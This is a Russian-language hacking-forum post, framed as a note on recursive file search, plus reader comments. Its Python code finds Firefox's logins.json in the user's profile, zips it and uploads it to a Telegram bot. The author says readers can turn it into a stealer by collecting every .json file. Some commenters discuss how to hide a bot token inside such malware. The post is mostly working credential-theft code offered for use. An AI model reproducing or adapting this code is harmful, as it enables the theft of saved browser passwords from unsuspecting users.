• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Заметка Рекурсия и поиск нужных файлов

Темы, которые НЕ подходят по объему под префикс "Статья"

1611239900100.png

Введение

Добрый вечер, дорогие форумчане. Давно не писал сюда контента, но вот пришел момент поделиться интересным материалам. Совсем недавно задумался над тем, как найти нужный файл в системе используя лишь среду разработки и прямые руки. Допустим вы хотите взять интересный файл и отправить его себе в любое место. Знаете примерное расположения но проблема заключается в том, что путь известен частично. И в данной статье мы постараемся решить проблему с поиском файлов используя рекурсивный подход к решению задачи.

Основная часть

Для примера я постараюсь найти и отправить себе файл логинов (logins.json) из браузера Firefox. Расположение по которому находиться данный файл выглядит примерно так:

C:\Users\AppData\Roaming\Mozilla\Firefox\Profiles\набор_символов.default-release

На каждом устройстве папка имеет разное название, это и затрудняет доступ к файлу. По мимо этого мы должны знать имя пользователя, что зарегистрирован в системе. Для этого будем использовать небольшое количество библиотек и 32 строчки кода. Ну а отправку данных осуществим в мой любимый Telegram при помощи обычного бота. Как его создать вы можете прочесть в сети, поэтому заострять внимания не стану. Чтобы не превышать лимит отправки сообщения добавим в архив данные. Чтобы было меньше слов приступим к делу. Сначала импортируем библиотеки:
Python:
import getpass
import telebot
import glob
import zipfile
import os
Getpass поможет нам определить имя пользователя, а glob найдет файл. Все остальное уже знакомо и не первый раз встречается в моем коде. Далее нам нужно задать переменные, с которыми будет работать в дальнейшем. А начнем с подключения бота:
Python:
bot = telebot.TeleBot("token")
А далее начинается самое интересное. Используя рекурсивный метод поиска файлов мы создадим список с расположением нашего файла. Выглядит он примерно так:

['C:\Users\AppData\Roaming\Mozilla\Firefox\Profiles\набор_символов.default-release']

Многим данный вид списка может быть неизвестный, носит названия он кортеж (последовательность неизменяемых объектов). Теперь переходим к созданию такого формата пути вместе с нашим файлом:
Python:
name = getpass.getuser()    # Узнаем имя пользователя
save = glob.glob(f"C:\\Users\\{name}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\**\\logins.json", recursive=True)
Но в дальнейшем наша программа не сможет работать с таким форматом, поэтому переводим его в более читаемый, удаляя скобки и кавычки:
Python:
cookies = ''.join(save)
Остается добавить в архив полученный файл и отправить его удобным путем. Для этого потребуется zipfile:
Python:
archive = zipfile.ZipFile(r'C:\Temp\backup.zip', 'w')    # Можно указать свой путь
archive.write(cookies)
archive.close()
Ну и в итоге завершаем наш код при помощи отправки всего добытого в Telegram:
Python:
@bot.message_handler(commands=['start'])
def start_message(message):
    upfile = open("C:\\Temp\\backup.zip", "rb")

    bot.send_document(message.chat.id, upfile)

    upfile.close()

    os.remove("C:\\Temp\\backup.zip")

    bot.stop_polling()


bot.polling()
Но у многих могут возникнуть недочеты и вопросы. Как это применять? Вы можете на основе этого создать свой стиллер. Для этого заставьте программу искать в папке не конкретный файл, а расширения, что имеются там.
Python:
import getpass
import glob

name = getpass.getuser()
save = glob.glob(f"C:\\Users\\{name}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\**\\**.json", recursive=True)
print(save)
Восстановить данные после получения поможет . Но важно помнить, что программа копирует весь каталог включая папки. Проще говоря вы получите полный путь к данным. Будьте осторожны и рассчитывайте данные перед отправкой, чтобы избежать ошибок.

Вывод

В этой небольшой статье я постарался максимально точно поделиться своим опытом, что может предотвратить множество ошибок и вопросов. Надеюсь данная информация была полезна вам.
 

VanDaMus

Green Team
08.01.2021
28
5
BIT
0
Какие-то обрывки мыслей, выдаваемые за что-то интересное.
Неужели эти обрывки мыслей кому-то интересны ?
Выкладывай код полностью - вот тогда почитаем, покритикуем.
Эта статья даже критики недостойна. Палец вниз.
 
  • Нравится
Реакции: f22
T

to_0day

Какие-то обрывки мыслей, выдаваемые за что-то интересное.
Неужели эти обрывки мыслей кому-то интересны ?
Выкладывай код полностью - вот тогда почитаем, покритикуем.
Эта статья даже критики недостойна. Палец вниз.
Где то меня уже критиковали за полностью слитый код. Для этого есть прежде всего Github (копируем исходники себе и мы в шоколаде). А так, тут думай сам, что и как складывать.
 

VanDaMus

Green Team
08.01.2021
28
5
BIT
0
Не пойму: мало того, что ты выложил какие-то обрывки мыслей и назвал это "статьёй", так ты ещё и слил эти обрывки с гитхаба ? Это не твои мысли ?
Чувак, у тебя явные проблемы со способами донести свои мысли до читателя.
 
T

to_0day

Не пойму: мало того, что ты выложил какие-то обрывки мыслей и назвал это "статьёй", так ты ещё и слил эти обрывки с гитхаба ? Это не твои мысли ?
Чувак, у тебя явные проблемы со способами донести свои мысли до читателя.
Они не с гитхаба) Мысли мои так что можешь не бояться
 

pp11

Green Team
16.09.2018
201
82
BIT
1
Запихнуть в питоновский стиллер токен бота, это гениально конечно.
Сделано наверное для того, чтобы можно было сдеанонить владельца стилера и поскачивать все логи заодно. Вообще крутяк.
Забудьте про сохранение токенов и ключей авторизации в малвари. Это я к слову о стиллере. (Точно есть как минимум 1 метод, который не заставляет вас палить токен бота, но при этом вы получите в телеграм)

А по теме, то я могу сказать, что такие вещи на пайтоне делать довольно непрактично)
Из-за скорости. С такой же задачей справиться любой ребенок на плюсах, который умеет читать документацию.
Это будет куда быстрее)

Всё же я считаю, что тема не полная. Сделать тему, ради 1 рекурсии это как-то странно. Понимаю, что гайд расчитан на новичков, но всё же. Лично я жду чего-то более интересного)
 
  • Нравится
Реакции: Trixxx

mrtyrel

Green Team
01.12.2018
80
45
BIT
0
стилер в 8 строк интересное заявление проверять я его конечно не буду)
 

Hartwell

One Level
16.11.2016
6
5
BIT
2
Запихнуть в питоновский стиллер токен бота, это гениально конечно.
Сделано наверное для того, чтобы можно было сдеанонить владельца стилера и поскачивать все логи заодно. Вообще крутяк.
Забудьте про сохранение токенов и ключей авторизации в малвари. Это я к слову о стиллере. (Точно есть как минимум 1 метод, который не заставляет вас палить токен бота, но при этом вы получите в телеграм)

А по теме, то я могу сказать, что такие вещи на пайтоне делать довольно непрактично)
Из-за скорости. С такой же задачей справиться любой ребенок на плюсах, который умеет читать документацию.
Это будет куда быстрее)

Всё же я считаю, что тема не полная. Сделать тему, ради 1 рекурсии это как-то странно. Понимаю, что гайд расчитан на новичков, но всё же. Лично я жду чего-то более интересного)

И какой же это способ? Только не говорите что это env (c)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!